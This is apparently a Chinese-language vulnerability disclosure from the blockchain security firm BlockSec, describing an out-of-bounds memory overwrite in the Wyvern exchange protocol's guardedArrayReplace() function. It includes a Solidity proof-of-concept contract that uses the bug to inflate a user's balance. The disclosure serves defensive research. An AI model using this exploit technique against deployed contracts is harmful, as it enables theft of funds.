Wyvern协议中发现新的内存覆盖漏洞

长生种协议漏洞警报:潜在利用可能导致安全隐患

Wyvern协议中发现新的内存覆盖漏洞

引言

我们的漏洞检测系统在 Wyvern 库的最新实现中发现了一个内存覆盖漏洞。Wyvern 库属于 Wyvern 去中心化交易所协议,该协议曾被 OpenSea 使用。此漏洞可能导致 任意存储写入

我们曾尝试联系该项目(例如,通过电子邮件和社交媒体),但尚未收到回复。鉴于 OpenSea 已迁移到 Seaport 协议,我们认为公开披露详细信息是安全的。此外,我们希望分享这些发现以吸引社区的关注,因为该漏洞本身有点棘手,而利用过程却相当有趣。

描述

易受攻击的代码可以在 官方代码仓库 的提交哈希 4790c04604b8dc1bd5eb82e697d1cdc8c53d57a9 下找到。

具体来说,此漏洞存在于 ArrayUtils.sol 的 guardedArrayReplace() 函数中。顾名思义,此函数用于将一个动态大小的字节数组(即第二个参数 desired)选择性地复制到另一个字节数组(即第一个参数 array)。请注意,此函数实现为执行字级(即 0x20 字节)操作,因此代码逻辑可以根据除法计算结果分为两个步骤。

对于商数部分(即 _words = _ array.length / 0x20),从第 42 行到第 49 行的代码逻辑将逐字地将 desired 数组复制到目标数组。此步骤按预期工作,尽管第 39 行的 assert 语句由于整数算术而无效。

在上一阶段之后,如果除法产生余数,则意味着仍有一些字节未被正确复制。从第 52 行到第 66 行的代码逻辑旨在处理这些字节。不幸的是,**第 52 行的 if 语句错误地使用了商数(words,即 array.length / 0x20)而不是余数(array.length % 0x20)来执行检查

严重性

此漏洞可能导致 任意存储写入。假设 array.length 可被 0x20 整除,则复制操作实际上是在循环逻辑中完成的。然而,在大多数情况下,该函数将 进入易受攻击的逻辑 尝试将 desired 数组之后的字复制到目标数组,这不可避免地导致 越界访问。更糟糕的是,不正确的逻辑可能被利用来将一个字覆盖到目标数组的末尾,这是一个未知的内存区域,可以用于任何目的。

如何利用此漏洞?

我们开发了一个 PoC 合约来演示潜在的攻击向量。PoC 合约有两个函数,第一个名为 test(),用于执行攻击,第二个只是易受攻击的 guardedArrayReplace() 函数。

具体来说,在 test() 函数中,我们首先定义了一些内存中的字节(abmask)以及一个数组(即 _rewards)。此处定义的 _rewards 将用于计算用户的奖励。调用 guardedArrayReplace() 函数将 a 复制到 b 并使用 mask 后,_rewards_ 将添加到用户的余额中(即 balances[msg.sender])。

<span id="f8d5" data-selectable-paragraph="">contract PoC {</span><span id="6c09" data-selectable-paragraph="">    mapping(address=&gt;uint) public balances;<br></span><span id="5b38" data-selectable-paragraph="">    event T(uint256,uint256,uint256);</span><span id="4fde" data-selectable-paragraph="">    function test() external {<br>        bytes memory a = abi.encode(keccak256("123"));<br>        bytes memory b = abi.encode(keccak256("456"));<br>        uint[] memory _rewards = new uint[](1);<br>        bytes memory mask = abi.encode(keccak256("123"));<br>        bytes memory d = abi.encode(keccak256("eee"));<br>        bytes memory d1 = abi.encode(keccak256("eee"));<br>        bytes memory d3 = abi.encode(keccak256("eee"));<br>        bytes memory d4 = abi.encode(keccak256("eee"));<br>        bytes memory d5 = abi.encode(keccak256("eee"));<br>        guardedArrayReplace(b, a, mask);</span><span id="19ec" data-selectable-paragraph="">        for(uint i = 0; i &lt; _rewards.length; i++){<br>            uint256 amt = _rewards[i];<br>            balances[msg.sender] += amt;<br>        }<br>    }</span><span id="9ed3" data-selectable-paragraph="">    function guardedArrayReplace(bytes memory array, bytes memory desired, bytes memory mask)<br>        internal<br>        pure<br>    {<br>        require(array.length == desired.length, "Arrays have different lengths");<br>        require(array.length == mask.length, "Array and mask have different lengths");</span><span id="f13c" data-selectable-paragraph="">        uint words = array.length / 0x20;<br>        uint index = words * 0x20;<br>        assert(index / 0x20 == words);<br>        uint i;</span><span id="85cd" data-selectable-paragraph="">        for (i = 0; i &lt; words; i++) {<br>            /* Conceptually: array[i] = (!mask[i] &amp;&amp; array[i]) || (mask[i] &amp;&amp; desired[i]), bitwise in word chunks. */<br>            assembly {<br>                let commonIndex := mul(0x20, add(1, i))<br>                let maskValue := mload(add(mask, commonIndex))<br>                mstore(add(array, commonIndex), or(and(not(maskValue), mload(add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex)))))<br>            }<br>        }</span><span id="69d7" data-selectable-paragraph="">        /* Deal with the last section of the byte array. */<br>        if (words &gt; 0) {<br>            /* This overlaps with bytes already set but is still more efficient than iterating through each of the remaining bytes individually. */<br>            i = words;<br>            assembly {<br>                let commonIndex := mul(0x20, add(1, i))<br>                let maskValue := mload(add(mask, commonIndex))<br>                mstore(add(array, commonIndex), or(<br>                    and(not(maskValue), <br>                    mload(<br>                        add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex))))<br>                )<br>            }<br>        } else {<br>            /* If the byte array is shorter than a word, we must unfortunately do the whole thing bytewise.<br>               (bounds checks could still probably be optimized away in assembly, but this is a rare case) */<br>            for (i = index; i &lt; array.length; i++) {<br>                array[i] = ((mask[i] ^ 0xff) &amp; array[i]) | (mask[i] &amp; desired[i]);<br>            }<br>        }<br>    }<br>}</span>

我们在 Remix 中演示了结果。值得注意的是,最初我们没有为 _rewardsbalances 赋值。利用后,用户余额被设置为一个极大的值(如图中红色矩形所示)。

结论

尽管罕见,但智能合约中仍可能存在此类内存覆盖漏洞。开发人员需要注意操作内存的代码逻辑。

关于 BlockSec

BlockSec 是一家开创性的区块链安全公司,由一群杰出的全球安全专家于 2021 年创立。公司致力于为新兴的 Web3 世界增强安全性和可用性,以促进其大规模采用。为此,BlockSec 提供智能合约和 EVM 链安全审计服务、用于安全开发和主动阻止威胁的 Phalcon 平台、用于资金追踪和调查的 MetaSleuth 平台,以及供 Web3 构建者在加密世界高效冲浪的 MetaDock 扩展。

迄今为止,公司已为 MetaMask、Uniswap Foundation、Compound、Forta 和 PancakeSwap 等 300 多家尊贵客户提供服务,并在两轮融资中从 Matrix Partners、Vitalbridge Capital 和 Fenbushi Capital 等知名投资机构获得了数千万美元的投资。

官方网站:https://blocksec.com/

官方 Twitter 账号:https://twitter.com/BlockSecTeam

Sign up for the latest updates